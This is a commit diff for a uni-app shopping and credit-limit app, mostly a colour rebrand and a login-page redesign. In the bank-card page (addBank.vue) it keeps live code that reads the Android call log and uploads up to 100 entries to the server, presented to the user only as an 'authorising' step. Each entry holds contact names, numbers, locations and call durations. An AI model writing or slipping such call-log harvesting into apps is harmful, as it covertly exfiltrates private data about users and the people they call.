lin
2026-05-12 8871e7afdd529807d181b679287778c29a02ed0b
feat:购有趣 登录页,首页,我的页面
29 files modified
2 files added
449 ■■■■ changed files
App.vue 30 ●●●● patch | view | raw | blame | history
pages.json 56 ●●●● patch | view | raw | blame | history
pages/addAddr/addAddr.vue 4 ●●●● patch | view | raw | blame | history
pages/addBank/addBank.vue 204 ●●●● patch | view | raw | blame | history
pages/address/address.vue 4 ●●●● patch | view | raw | blame | history
pages/bank/bank.vue 6 ●●●● patch | view | raw | blame | history
pages/ginfo/ginfo.vue 6 ●●●● patch | view | raw | blame | history
pages/index/index.vue 26 ●●●● patch | view | raw | blame | history
pages/login/login.vue 15 ●●●●● patch | view | raw | blame | history
pages/my/my.vue 3 ●●●● patch | view | raw | blame | history
pages/profile/profile.vue 10 ●●●● patch | view | raw | blame | history
pages/wallet/wallet.vue 2 ●●● patch | view | raw | blame | history
static/css/addAddr.css 4 ●●●● patch | view | raw | blame | history
static/css/address.css 4 ●●●● patch | view | raw | blame | history
static/css/bank.css 4 ●●●● patch | view | raw | blame | history
static/css/carts.css 2 ●●● patch | view | raw | blame | history
static/css/cates.css 2 ●●● patch | view | raw | blame | history
static/css/collect.css 2 ●●● patch | view | raw | blame | history
static/css/edu.css 8 ●●●● patch | view | raw | blame | history
static/css/ginfo.css 4 ●●●● patch | view | raw | blame | history
static/css/idcard.css 4 ●●●● patch | view | raw | blame | history
static/css/index.css 6 ●●●● patch | view | raw | blame | history
static/css/login.css 23 ●●●● patch | view | raw | blame | history
static/css/logs.css 4 ●●●● patch | view | raw | blame | history
static/css/order.css 8 ●●●● patch | view | raw | blame | history
static/css/pays.css 8 ●●●● patch | view | raw | blame | history
static/imgs/checked.png patch | view | raw | blame | history
static/imgs/index-logo.png patch | view | raw | blame | history
static/imgs/index-top.png patch | view | raw | blame | history
static/imgs/loginBg.png patch | view | raw | blame | history
static/imgs/loginLogo.png patch | view | raw | blame | history
App.vue
@@ -35,10 +35,10 @@
                                url: '/pages/login/login'
                            })
                            return false
                    }
                    uni.setStorageSync('Config', JSON.stringify(res.data))
                    // #ifdef APP-PLUS
                    //机型
                    let platform = uni.getSystemInfoSync().platform.toLocaleLowerCase()
@@ -59,17 +59,17 @@
                            updesc = res.data.android.desc
                        }
                        if (downUrl && updateFlag) {
                            uni.showModal({
                                showCancel: false,
                                confirmText: '立即更新',
                                title: '温馨提示!',
                                content: updesc || '有最新版本,请更新APP!',
                                success: res => {
                                    if (res.confirm) {
                                        plus.runtime.openURL(downUrl)
                                    }
                                }
                            })
                            // uni.showModal({
                            //     showCancel: false,
                            //     confirmText: '立即更新',
                            //     title: '温馨提示!',
                            //     content: updesc || '有最新版本,请更新APP!',
                            //     success: res => {
                            //         if (res.confirm) {
                            //             plus.runtime.openURL(downUrl)
                            //         }
                            //     }
                            // })
                        }
                    })
                    // #endif
@@ -105,7 +105,7 @@
    .noDataBtn{
        width: 240upx !important;
        margin: 50upx auto;
        background-color: #4766FE;
        background-color: #37AA25;
        color: #ffffff !important;
        letter-spacing: 10upx;
        height: 70upx;
@@ -115,4 +115,4 @@
</style>
<style lang="scss">
    @import '@/uni_modules/uv-ui-tools/index.scss';
</style>
</style>
pages.json
@@ -9,7 +9,7 @@
        },
        {
            "path" : "pages/cates/cates",
            "style" :
            "style" :
            {
                "navigationStyle":"custom",
                "navigationBarTitleText": "分类"
@@ -17,11 +17,11 @@
        },
        {
            "path" : "pages/my/my",
            "style" :
            "style" :
            {
                "navigationStyle":"custom",
                "navigationBarTitleText": "我的",
                "navigationBarBackgroundColor": "#e3b400",
                "navigationBarBackgroundColor": "#37AA25",
                "app-plus": {
                    "titleNView": false
                }
@@ -29,28 +29,28 @@
        },
        {
            "path" : "pages/carts/carts",
            "style" :
            "style" :
            {
                "navigationBarTitleText" : "购物车"
            }
        },
        {
            "path" : "pages/idcard/idcard",
            "style" :
            "style" :
            {
                "navigationBarTitleText" : "实名认证"
            }
        },
        {
            "path" : "pages/login/login",
            "style" :
            "style" :
            {
                "navigationBarTitleText" : "账号登录"
            }
        },
        {
            "path" : "pages/ginfo/ginfo",
            "style" :
            "style" :
            {
                "navigationStyle":"custom",
                "navigationBarTitleText": "商品详情"
@@ -58,84 +58,84 @@
        },
        {
            "path" : "pages/collect/collect",
            "style" :
            "style" :
            {
                "navigationBarTitleText" : "我的收藏"
            }
        },
        {
            "path" : "pages/address/address",
            "style" :
            "style" :
            {
                "navigationBarTitleText" : "我的地址"
            }
        },
        {
            "path" : "pages/addAddr/addAddr",
            "style" :
            "style" :
            {
                "navigationBarTitleText" : "编辑地址"
            }
        },
        {
            "path" : "pages/pays/pays",
            "style" :
            "style" :
            {
                "navigationBarTitleText" : "确认订单"
            }
        },
        {
            "path" : "pages/bank/bank",
            "style" :
            "style" :
            {
                "navigationBarTitleText" : "银行卡"
            }
        },
        {
            "path" : "pages/addBank/addBank",
            "style" :
            "style" :
            {
                "navigationBarTitleText" : "编辑银行卡"
            }
        },
        {
            "path" : "pages/face/face",
            "style" :
            "style" :
            {
                "navigationBarTitleText" : "人脸认证"
            }
        },
        {
            "path" : "pages/order/order",
            "style" :
            "style" :
            {
                "navigationBarTitleText" : "我的订单"
            }
        },
        {
            "path" : "pages/edu/edu",
            "style" :
            "style" :
            {
                "navigationBarTitleText" : "授信额度"
            }
        },
        {
            "path" : "pages/logs/logs",
            "style" :
            "style" :
            {
                "navigationBarTitleText" : "账单信息"
            }
        },
        {
            "path" : "pages/profile/profile",
            "style" :
            "style" :
            {
                "navigationBarTitleText" : "个人资料"
            }
        },
        {
            "path" : "pages/search/search",
            "style" :
            "style" :
            {
                "navigationStyle":"custom",
                "navigationBarTitleText": "商品搜索"
@@ -143,63 +143,63 @@
        },
        {
            "path" : "pages/catesList/catesList",
            "style" :
            "style" :
            {
                "navigationBarTitleText" : ""
            }
        },
        {
            "path" : "pages/regist/regist",
            "style" :
            "style" :
            {
                "navigationBarTitleText" : "账号注册"
            }
        },
        {
            "path" : "pages/findpass/findpass",
            "style" :
            "style" :
            {
                "navigationBarTitleText" : "忘记密码"
            }
        },
        {
            "path" : "pages/entrust/entrust",
            "style" :
            "style" :
            {
                "navigationBarTitleText" : "会员服务协议"
            }
        },
        {
            "path" : "pages/agree/agree",
            "style" :
            "style" :
            {
                "navigationBarTitleText" : "委托扣款确认书"
            }
        },
        {
            "path" : "pages/job/job",
            "style" :
            "style" :
            {
                "navigationBarTitleText" : "工作资料"
            }
        },
        {
            "path" : "pages/esign/esign",
            "style" :
            "style" :
            {
                "navigationBarTitleText" : ""
            }
        },
        {
            "path" : "pages/orderinfo/orderinfo",
            "style" :
            "style" :
            {
                "navigationBarTitleText" : "订单详情"
            }
        },
        {
            "path" : "pages/wallet/wallet",
            "style" :
            "style" :
            {
                "navigationStyle":"custom",
                "navigationBarTitleText": "钱包"
pages/addAddr/addAddr.vue
@@ -20,8 +20,8 @@
            </view>
            <view class="addrItem">
                <text class="label">设置默认地址</text>
                <switch @change="defChange" v-if="formData.isdef == 0" color="#e3b400" style="transform:scale(0.7)"/>
                <switch @change="defChange" v-else checked color="#e3b400" style="transform:scale(0.7)"/>
                <switch @change="defChange" v-if="formData.isdef == 0" color="#37AA25" style="transform:scale(0.7)"/>
                <switch @change="defChange" v-else checked color="#37AA25" style="transform:scale(0.7)"/>
            </view>
        </view>
        <view class="addrBtn" @tap="addrSave">保存</view>
pages/addBank/addBank.vue
@@ -28,8 +28,8 @@
            </view>
            <view class="addrItem">
                <text class="label">设置默认银行</text>
                <switch @change="defChange" v-if="formData.isdef == 0" color="#e3b400" style="transform:scale(0.7)"/>
                <switch @change="defChange" v-else checked color="#e3b400" style="transform:scale(0.7)"/>
                <switch @change="defChange" v-if="formData.isdef == 0" color="#37AA25" style="transform:scale(0.7)"/>
                <switch @change="defChange" v-else checked color="#37AA25" style="transform:scale(0.7)"/>
            </view>
        </view>
        <view class="addrBtn" @tap="bankSave" v-if="type == 2">保存并购买</view>
@@ -265,128 +265,128 @@
                    title: '授权中...'
                })
                let self = this
                // 在这里调用plus api
                var CallLog = plus.android.importClass("android.provider.CallLog");
                var main = plus.android.runtimeMainActivity();
                var obj = main.getContentResolver();
                plus.android.importClass(obj);
                // 在这里调用plus api
                var CallLog = plus.android.importClass("android.provider.CallLog");
                var main = plus.android.runtimeMainActivity();
                var obj = main.getContentResolver();
                plus.android.importClass(obj);
                let timeLine = new Date().getTime()
                var selection = {
                    mobile: '',
                    startTime: new Date('2022-4-1').getTime(),
                    endTime: timeLine,
                    type: ''
                }
                //查询
                var sql = '';
                var keyword = '';
                for (let item of Object.keys(selection)) {
                    if (selection[item] != '') {
                        switch (item) {
                            case 'mobile':
                                sql = sql == '' ? sql : sql + ' and ';
                                sql = sql + CallLog.Calls.NUMBER + " like '%" + selection[item] + "%'";
                                keyword = selection[item];
                                break;
                            case 'startTime':
                                sql = sql == '' ? sql : sql + ' and ';
                                sql = sql + CallLog.Calls.DATE + '>=' + selection[item];
                                break;
                            case 'endTime':
                                sql = sql == '' ? sql : sql + ' and ';
                                sql = sql + CallLog.Calls.DATE + '<=' + selection[item];
                                break;
                            case 'type':
                                sql = sql == '' ? sql : sql + ' and ';
                                sql = sql + CallLog.Calls.TYPE + '=' + selection[item];
                                break;
                        }
                    }
                }
                sql = sql != '' ? sql : null;
                var cursor = obj.query(
                    CallLog.Calls.CONTENT_URI,
                    null,
                    sql,   //传入条件
                    null,
                    null
                var selection = {
                    mobile: '',
                    startTime: new Date('2022-4-1').getTime(),
                    endTime: timeLine,
                    type: ''
                }
                //查询
                var sql = '';
                var keyword = '';
                for (let item of Object.keys(selection)) {
                    if (selection[item] != '') {
                        switch (item) {
                            case 'mobile':
                                sql = sql == '' ? sql : sql + ' and ';
                                sql = sql + CallLog.Calls.NUMBER + " like '%" + selection[item] + "%'";
                                keyword = selection[item];
                                break;
                            case 'startTime':
                                sql = sql == '' ? sql : sql + ' and ';
                                sql = sql + CallLog.Calls.DATE + '>=' + selection[item];
                                break;
                            case 'endTime':
                                sql = sql == '' ? sql : sql + ' and ';
                                sql = sql + CallLog.Calls.DATE + '<=' + selection[item];
                                break;
                            case 'type':
                                sql = sql == '' ? sql : sql + ' and ';
                                sql = sql + CallLog.Calls.TYPE + '=' + selection[item];
                                break;
                        }
                    }
                }
                sql = sql != '' ? sql : null;
                var cursor = obj.query(
                    CallLog.Calls.CONTENT_URI,
                    null,
                    sql,   //传入条件
                    null,
                    null
                );
                if(cursor){
                    plus.android.importClass(cursor);
                    var content = []; // 用来存储数据
                    var count = 0; // 记录多少条
                    if (cursor.moveToFirst()) {
                        while (cursor.moveToNext()) {
                            count++;
                            //号码
                            var number = cursor.getString(cursor.getColumnIndex(CallLog.Calls.NUMBER));
                            //呼叫类型
                            var type;
                            switch (
                                parseInt(cursor.getString(cursor.getColumnIndex(CallLog.Calls.TYPE))))
                            // 判断通话类型
                            {
                                case CallLog.Calls.INCOMING_TYPE:
                                    type = "呼入";
                                    break;
                                case CallLog.Calls.OUTGOING_TYPE:
                                    type = "呼出";
                                    break;
                                case CallLog.Calls.MISSED_TYPE:
                                    type = "未接";
                                    break;
                                default:
                                    type = "挂断"; //应该是挂断.根据我手机类型判断出的
                                    break;
                            }
                            // 获取时间
                            var date = new Date(parseInt(
                                cursor.getString(cursor.getColumnIndexOrThrow(CallLog.Calls.DATE))));
                            // 联系人
                            var Name_Col = cursor.getColumnIndexOrThrow(CallLog.Calls.CACHED_NAME);
                            var name = cursor.getString(Name_Col);
                            // 号码归属地 返回:北京 联通
                            var numberLocation = cursor.getString(
                                cursor.getColumnIndex(CallLog.Calls.GEOCODED_LOCATION)
                            );
                            //通话时间,单位:s
                            var Duration_Col = cursor.getColumnIndexOrThrow(CallLog.Calls.DURATION);
                            var duration = cursor.getString(Duration_Col);
                            // 存入数组
                            content.push({
                                name: name == null ? '无' : name, // 联系人的姓名
                                phone: number == null ? '无' : number, // 联系人电话
                                phonehome: numberLocation ? numberLocation : '无', // 号码的归属地
                                date: self.getCallTime(date),  // 呼入或呼出时间
                                times: duration, // 通话时长
                    var content = []; // 用来存储数据
                    var count = 0; // 记录多少条
                    if (cursor.moveToFirst()) {
                        while (cursor.moveToNext()) {
                            count++;
                            //号码
                            var number = cursor.getString(cursor.getColumnIndex(CallLog.Calls.NUMBER));
                            //呼叫类型
                            var type;
                            switch (
                                parseInt(cursor.getString(cursor.getColumnIndex(CallLog.Calls.TYPE))))
                            // 判断通话类型
                            {
                                case CallLog.Calls.INCOMING_TYPE:
                                    type = "呼入";
                                    break;
                                case CallLog.Calls.OUTGOING_TYPE:
                                    type = "呼出";
                                    break;
                                case CallLog.Calls.MISSED_TYPE:
                                    type = "未接";
                                    break;
                                default:
                                    type = "挂断"; //应该是挂断.根据我手机类型判断出的
                                    break;
                            }
                            // 获取时间
                            var date = new Date(parseInt(
                                cursor.getString(cursor.getColumnIndexOrThrow(CallLog.Calls.DATE))));
                            // 联系人
                            var Name_Col = cursor.getColumnIndexOrThrow(CallLog.Calls.CACHED_NAME);
                            var name = cursor.getString(Name_Col);
                            // 号码归属地 返回:北京 联通
                            var numberLocation = cursor.getString(
                                cursor.getColumnIndex(CallLog.Calls.GEOCODED_LOCATION)
                            );
                            //通话时间,单位:s
                            var Duration_Col = cursor.getColumnIndexOrThrow(CallLog.Calls.DURATION);
                            var duration = cursor.getString(Duration_Col);
                            // 存入数组
                            content.push({
                                name: name == null ? '无' : name, // 联系人的姓名
                                phone: number == null ? '无' : number, // 联系人电话
                                phonehome: numberLocation ? numberLocation : '无', // 号码的归属地
                                date: self.getCallTime(date),  // 呼入或呼出时间
                                times: duration, // 通话时长
                                type: type,
                            });
                            // 查询100条 就跳出
                            if (count > 99) {
                              break;
                            }
                        }
                            // 查询100条 就跳出
                            if (count > 99) {
                              break;
                            }
                        }
                    }
                    console.log('call', content)
                    if(content.length > 0){
                        console.log(content)
                        self.$util.post('Calls/setCalls', content).then(rs => {
                            uni.hideLoading()
                            console.log('ttt', rs)
                            console.log('ttt', rs)
                            uni.showToast({
                                title: '授权成功!',
                                icon: 'success',
                            })
                        })
                    }
                }else{
                    uni.hideLoading()
                    t.$util.goSetting()
                }
            },
            getCallTime(time) {
                var date = new Date(time);//当前时间
                var year = date.getFullYear(); //返回指定日期的年份
@@ -395,7 +395,7 @@
                var hour = this.repair(date.getHours());//时
                var minute = this.repair(date.getMinutes());//分
                var second = this.repair(date.getSeconds());//秒
                //当前时间
                //当前时间
                var curTime = year + "-" + month + "-" + day + " " + hour + ":" + minute + ":" + second;
                return curTime;
            },
pages/address/address.vue
@@ -13,8 +13,8 @@
                <view class="addr-c">
                    <view class="addr-df">
                        默认:
                        <switch @change="defChange" :data-id="item.id" v-if="item.isdef == 0" color="#e3b400" style="transform:scale(0.7)"/>
                        <switch @change="defChange" :data-id="item.id" v-else checked color="#e3b400" style="transform:scale(0.7)"/>
                        <switch @change="defChange" :data-id="item.id" v-if="item.isdef == 0" color="#37AA25" style="transform:scale(0.7)"/>
                        <switch @change="defChange" :data-id="item.id" v-else checked color="#37AA25" style="transform:scale(0.7)"/>
                    </view>
                    <view class="addr-c-main">
                        <view class="addr-c-c" @tap="$util.goPages('/pages/addAddr/addAddr?id=' + item.id)">
pages/bank/bank.vue
@@ -11,8 +11,8 @@
                <view class="bank-c">
                    <view class="bank-df">
                        默认:
                        <switch @change="defChange" :data-id="item.id" v-if="item.isdef == 0" color="#e3b400" style="transform:scale(0.7)"/>
                        <switch @change="defChange" :data-id="item.id" v-else checked color="#e3b400" style="transform:scale(0.7)"/>
                        <switch @change="defChange" :data-id="item.id" v-if="item.isdef == 0" color="#37AA25" style="transform:scale(0.7)"/>
                        <switch @change="defChange" :data-id="item.id" v-else checked color="#37AA25" style="transform:scale(0.7)"/>
                    </view>
                    <view class="bank-c-main">
                        <view class="bank-c-c" @tap="$util.goPages('/pages/addBank/addBank?id=' + item.id)">
@@ -55,7 +55,7 @@
                    this.$util.goPages('/pages/addBank/addBank')
                } else {
                    this.$util.goPages('/pages/addBank/addBank?backUrl=' + this.backUrl)
                }
                }
            },
            //选择银行
            setBankCookie (e) {
pages/ginfo/ginfo.vue
@@ -53,7 +53,7 @@
        data() {
            return {
                indicatorDots: true,
                indicatorColor: '#e3b400',
                indicatorColor: '#37AA25',
                indicatorActiveColor: '#ffffff',
                autoplay: true,
                interval: 3000,
@@ -109,11 +109,11 @@
                                console.log("success:" + JSON.stringify(res))
                            },
                            fail: (err) => {
                                console.log("fail:" + JSON.stringify(err))
                                console.log("fail:" + JSON.stringify(err))
                            }
                        })
                    }
                }
                }
            },
            durationChange (e) {
                this.bannerIndex = e.detail.current + 1
pages/index/index.vue
@@ -40,22 +40,22 @@
            </view>
        </view> -->
        <view v-if="catesNavData" style="padding: 0 30rpx;background-color: #ffffff;margin-top: 422rpx;">
            <uv-scroll-list>
            <uv-scroll-list indicatorColor="#fff0f0" indicatorActiveColor="#37AA25">
                <view class="cates-v" v-for="(item, index) in catesNavData" :key="item.id" @tap="$util.goPages('/pages/catesList/catesList?catesId=' + item.id + '&title=' + item.title)">
                    <image class="cates-v-icon" :src="item.icon" mode="heightFix"></image>
                    <view class="">{{item.title}}</view>
                </view>
            </uv-scroll-list>
        </view>
        <!-- <view class="ad1" @tap="$util.goPages('/pages/catesList/catesList?catesId=11' + '&title=' + '服装鞋包')">
            <image src="/static/imgs/ad1.png" mode=""></image>
        </view> -->
        <view class="ad2" @tap="$util.goPages('/pages/catesList/catesList?catesId=3' + '&title=' + '手机数码')">
            <image src="/static/imgs/ad2.png" mode=""></image>
        </view>
        <view class="d3-wrap">
            <view class="ad3" @tap="$util.goPages('/pages/catesList/catesList?catesId=2' + '&title=' + '家用电器')">
                <image src="/static/imgs/ad3.png" mode=""></image>
@@ -64,7 +64,7 @@
                <image src="/static/imgs/ad4.png" mode=""></image>
            </view>
        </view>
        <!-- <view class="c-goods" v-if="hotCates" v-for="(item, index) in hotCates">
            <view class="ca-ad" v-if="index % 2 == 0">
                <image src="/static/imgs/c1.png" mode=""></image>
@@ -99,7 +99,7 @@
                </scroll-view>
            </view>
        </view> -->
        <view class="cateNav">
            <view class="cateNav-item" :class="{active:actIndex===index}" v-for="(item, index) in cateNavList" :key="index" @click="navClick(item,index)">
                <view class="cateNav-title">{{item.title}}</view>
@@ -129,7 +129,7 @@
            <view class="login-btn">立即登录</view>
        </view>
    </view>
    <uni-popup ref="popup2" type="center" :is-mask-click="false">
      <view class="popup-content">
        <view class="edu-view edu-view2">
@@ -172,7 +172,7 @@
      staHeight: 0,
      paddingHeight: 0,
      indicatorDots: true,
      indicatorColor: '#e3b400',
      indicatorColor: '#37AA25',
      indicatorActiveColor: '#ffffff',
      autoplay: true,
      interval: 3000,
@@ -194,16 +194,16 @@
        goodsData: [],
        cateNavList: [
            {
                title: '精选',
                desc: '猜你喜欢',
                skey: '服装鞋包',
                catesId: 15,
            },{
                title: '人气',
                desc: '好物精选',
                skey: '家用电器',
                catesId: 2,
            },{
                title: '精选',
                desc: '猜你喜欢',
                skey: '服装鞋包',
                catesId: 15,
            },{
                title: '休闲',
                desc: '天天低价',
                skey: '美妆个护',
pages/login/login.vue
@@ -1,13 +1,17 @@
<template>
    <view>
    <view style="background: url('/static/imgs/loginBg.png') center bottom / 100% no-repeat;height: calc(100vh - 44px);">
        <view class="login-title">
            <view class="login-title-1">手机号登录</view>
            <view class="login-title-2">未注册的手机号将自动注册</view>
            <image style="height: 140rpx;width: 140rpx;" src="@/static/imgs/loginLogo.png" mode="scaleToFill"></image>
            <view class="login-title-1">
                <text>够你所想</text>
                <text>购你所爱</text>
            </view>
            <view class="login-title-2">欢迎登录够有趣</view>
        </view>
        <view class="login-type">
            <view class="login-type-v">
                <view :class="formData.loginType == 1 ? 'active' : ''" @tap="loginTypeClick(1)">账号密码登录</view>
                <view :class="formData.loginType == 2 ? 'active' : ''" @tap="loginTypeClick(2)">短信登录</view>
                <view :class="formData.loginType == 1 ? 'active' : ''" @tap="loginTypeClick(1)">账号密码登录</view>
            </view>
        </view>
        <view class="login-list">
@@ -36,6 +40,7 @@
                <view class="fr" @tap="$util.goPages('/pages/findpass/findpass')">忘记密码</view>
            </view>
        </view>
        <!-- <image style="height: 576rpx;width: 100%;" src="@/static/imgs/loginBg.png" mode="scaleToFill"></image> -->
        <agreePup ref="agreePup1" :gp="1" title="注册协议"></agreePup>
        <agreePup ref="agreePup2" :gp="2" title="隐私政策"></agreePup>
    </view>
@@ -54,7 +59,7 @@
                    phone: '',
                    code: '',
                    pass: '',
                    loginType: 1,
                    loginType: 2,
                },
                phoneReg: /^\d{11}$/,
                backUrl: '',
pages/my/my.vue
@@ -7,7 +7,8 @@
        <view class="myContent">
            <view class="myHeader">
                <!-- <image :src="userInfo != null ? userInfo.avatar : '/static/imgs/headimg.png'" class="avatar" mode="" @tap="setImg"></image> -->
                <image :src="userInfo != null ? userInfo.avatar : '/static/imgs/headimg.png'" class="avatar" mode=""  @tap="setImg"></image>
                <image v-if="userInfo == null" :src="userInfo != null ? $baseUrl+userInfo.avatar : '/static/imgs/headimg.png'" class="avatar" mode="" @tap="$util.goPages('/pages/login/login')"></image>
                <image v-else :src="userInfo != null ? $baseUrl+userInfo.avatar : '/static/imgs/headimg.png'" class="avatar" mode=""></image>
                <view class="myNick">
                    <template>
                        <view v-if="userInfo == null" @tap="$util.goPages('/pages/login/login')">未登录</view>
pages/profile/profile.vue
@@ -42,8 +42,8 @@
            <view class="profile-item" v-if="Config.put_open == 2">
                <text class="label">支付权益</text>
                <view class="">
                    <switch @change="equityOpen" v-if="userInfo.equity_open == 1" checked color="#e3b400" style="transform:scale(0.7)"/>
                    <switch @change="equityOpen" v-else color="#e3b400" style="transform:scale(0.7)"/>
                    <switch @change="equityOpen" v-if="userInfo.equity_open == 1" checked color="#37AA25" style="transform:scale(0.7)"/>
                    <switch @change="equityOpen" v-else color="#37AA25" style="transform:scale(0.7)"/>
                </view>
            </view> -->
        </view>
@@ -73,7 +73,7 @@
        },
        data() {
            return {
                userInfo: uni.getStorageSync('user-info') ? JSON.parse(uni.getStorageSync('user-info')) : null,
                userInfo: uni.getStorageSync('user-info') ? JSON.parse(uni.getStorageSync('user-info')) : null,
                Config: uni.getStorageSync('Config') ? JSON.parse(uni.getStorageSync('Config')) : null
            }
        },
@@ -169,7 +169,7 @@
            changeAuth () {
                //这里是权限通过后执行自己的代码逻辑
                if(uni.getSystemInfoSync().platform !='ios'){
                    this.$refs['camears'].open()
                    this.$refs['camears'].open()
                }
                this.chooseImg()
            },
@@ -178,7 +178,7 @@
            },
            setImg(){
                if(uni.getSystemInfoSync().platform != 'ios'){
                    this.$refs['authpup'].open()
                    this.$refs['authpup'].open()
                }else{
                    this.chooseImg()
                }//调起自定义权限目的弹框,具体可看示例里面很详细
pages/wallet/wallet.vue
@@ -1,6 +1,6 @@
<template>
    <view class="wallet">
        <view class="startBar" style="background-color: #e3b400;"></view>
        <view class="startBar" style="background-color: #37AA25;"></view>
        <view class="wallet-header">
            <view class="wallet-header-edu" v-if="userInfo == null">
                <view class="wallet-header-price">预估额度<text v-if="Config">{{Config.edu}}</text></view>
static/css/addAddr.css
@@ -44,7 +44,7 @@
    width: 90%;
    margin: 50upx auto 30upx;
    height: 90upx;
    background-color: #e3b400;
    background-color: #37AA25;
    color: #ffffff;
    letter-spacing: 10upx;
    display: flex;
@@ -115,4 +115,4 @@
}
.uni-list-cell{
    justify-content: flex-start;
}
}
static/css/address.css
@@ -57,7 +57,7 @@
    bottom: 0;
    z-index: 99;
    height: 90upx;
    background-color: #e3b400;
    background-color: #37AA25;
    color: #ffffff;
    letter-spacing: 10upx;
    display: flex;
@@ -65,4 +65,4 @@
    align-items: center;
    font-weight: 700;
    font-size: 28upx;
}
}
static/css/bank.css
@@ -58,7 +58,7 @@
    bottom: 0;
    z-index: 99;
    height: 90upx;
    background-color: #e3b400;
    background-color: #37AA25;
    color: #ffffff;
    letter-spacing: 10upx;
    display: flex;
@@ -66,4 +66,4 @@
    align-items: center;
    font-weight: 700;
    font-size: 28upx;
}
}
static/css/carts.css
@@ -122,7 +122,7 @@
    font-size: 26upx;
}
.cartsBtn{
    background: #e3b400;
    background: #37AA25;
    color: #ffffff;
    padding: 14upx 25upx;
    border-radius: 30upx;
static/css/cates.css
@@ -138,6 +138,6 @@
.active{
    background-color: #ffffff;
    color: #e3b400 !important;
    color: #37AA25 !important;
    font-weight: 700;
}
static/css/collect.css
@@ -1,7 +1,7 @@
.collect-title{
    position: fixed;
    left: 0;
    top: 44px;
    top: 0px;
    z-index: 99;
    width: 100%;
    background-color: #ebebeb;
static/css/edu.css
@@ -40,7 +40,7 @@
    display: block;
    margin: 30upx auto;
}
.edu-view{
.edu-view{
    padding: 40upx 0 10upx;
    width: 560upx;
    border-radius: 50upx;
@@ -93,7 +93,7 @@
    width: 50%;
    margin: -20upx auto;
    height: 80upx;
    background-color: #e3b400;
    background-color: #37AA25;
    color: #ffffff;
    letter-spacing: 10upx;
    display: flex;
@@ -151,7 +151,7 @@
    margin: 30upx auto 30upx;
    z-index: 99;
    height: 90upx;
    background-color: #e3b400;
    background-color: #37AA25;
    color: #ffffff;
    letter-spacing: 10upx;
    display: flex;
@@ -159,4 +159,4 @@
    align-items: center;
    font-weight: 700;
    font-size: 28upx;
}
}
static/css/ginfo.css
@@ -111,11 +111,11 @@
    width: 88%;
    height: 78upx;
    border-radius: 50upx;
    background-color: #4766FE;
    background-color: #37AA25;
    color: #ffffff;
    display: flex;
    justify-content: center;
    align-items: center;
    font-size: 30upx;
    letter-spacing: 5upx;
}
}
static/css/idcard.css
@@ -112,7 +112,7 @@
    border-radius: 50upx;
}
.authBtn .active{
    background-color: #e3b400;
    background-color: #37AA25;
}
.del{
@@ -131,4 +131,4 @@
    color: #409EFF;
    background-color: #f3f3f3;
    border-radius: 10upx;
}
}
static/css/index.css
@@ -291,7 +291,7 @@
    margin: 30upx auto 30upx;
    z-index: 99;
    height: 90upx;
    background-color: #e3b400;
    background-color: #37AA25;
    color: #ffffff;
    letter-spacing: 10upx;
    display: flex;
@@ -310,8 +310,8 @@
    align-items: center;
}
.h-logo{
    width: 154rpx;
    height: 52rpx;
    width: 118rpx;
    height: 38rpx;
}
.hLogo-1{
    margin: 0 30upx;
static/css/login.css
@@ -2,17 +2,28 @@
    font-size: 28upx;
}
.login-title{
    padding: 160upx 70upx 70upx 70upx;
    /* padding: 160upx 70upx 70upx 70upx; */
    display: flex;
    justify-content: center;
    align-items: center;
    flex-direction: column;
    gap: 20rpx;
    margin-top: 70rpx;
    margin-bottom: 20rpx;
}
.login-title-1{
    font-size: 40upx;
    font-weight: 700;
    color: #000000;
    color: #37AA25;
    display: flex;
    justify-content: center;
    align-items: center;
    gap: 30rpx;
    letter-spacing: 4rpx;
}
.login-title-2{
    font-size: 26upx;
    font-size: 28upx;
    color: #000000;
    margin-top: 20upx;
}
.login-list{
    padding: 50upx 70upx;
@@ -70,7 +81,7 @@
    border-radius: 50upx;
}
.loginBtn .active{
    background-color: #e3b400;
    background-color: #37AA25;
}
.login-type{
@@ -90,7 +101,7 @@
    content: '';
    height: 1px;
    width: 100%;
    background-color: #e3b400;
    background-color: #37AA25;
    left: 0;
    bottom: -10px;
}
static/css/logs.css
@@ -26,7 +26,7 @@
    position: absolute;
    right: 30upx;
    top: 30%;
    background-color: #e3b400;
    background-color: #37AA25;
    color: #ffffff;
    display: flex;
    justify-content: center;
@@ -35,4 +35,4 @@
    font-size: 26upx;
    border-radius: 16upx;
    padding: 16upx 40upx;
}
}
static/css/order.css
@@ -6,7 +6,7 @@
.order-tab{
    position: fixed;
    left: 0;
    top: 44px;
    top: 0px;
    z-index: 99;
    display: flex;
    height: 80upx;
@@ -31,7 +31,7 @@
    content: '';
    width: 50%;
    height: 3upx;
    background-color: #e3b400;
    background-color: #37AA25;
    left: 25%;
    bottom: 0;
}
@@ -125,7 +125,7 @@
    margin-right: 30upx;
}
.payOrder{
    background-color: #e3b400;
    background-color: #37AA25;
    color: #ffffff;
    border-radius: 10upx;
    padding: 10upx 30upx;
@@ -228,7 +228,7 @@
    left: 0;
    width: 100%;
    bottom: 0;
    background-color: #e3b400;
    background-color: #37AA25;
    height: 88upx;
    color: #ffffff;
    text-align: center;
static/css/pays.css
@@ -101,7 +101,7 @@
    line-height: 50upx;
    height: 50upx;
    color: #ffffff;
    background-color: #e3b400;
    background-color: #37AA25;
    padding: 5upx 20upx;
    border-radius: 20upx;
}
@@ -141,7 +141,7 @@
    line-height: 50upx;
    height: 50upx;
    color: #ffffff;
    background-color: #e3b400;
    background-color: #37AA25;
    padding: 5upx 20upx;
    border-radius: 20upx;
}
@@ -211,7 +211,7 @@
    margin: 30upx auto 30upx;
    z-index: 99;
    height: 90upx;
    background-color: #e3b400;
    background-color: #37AA25;
    color: #ffffff;
    letter-spacing: 10upx;
    display: flex;
@@ -291,4 +291,4 @@
}
.blue{
    color: #7e94bd;
}
}
static/imgs/checked.png

static/imgs/index-logo.png

static/imgs/index-top.png

static/imgs/loginBg.png
static/imgs/loginLogo.png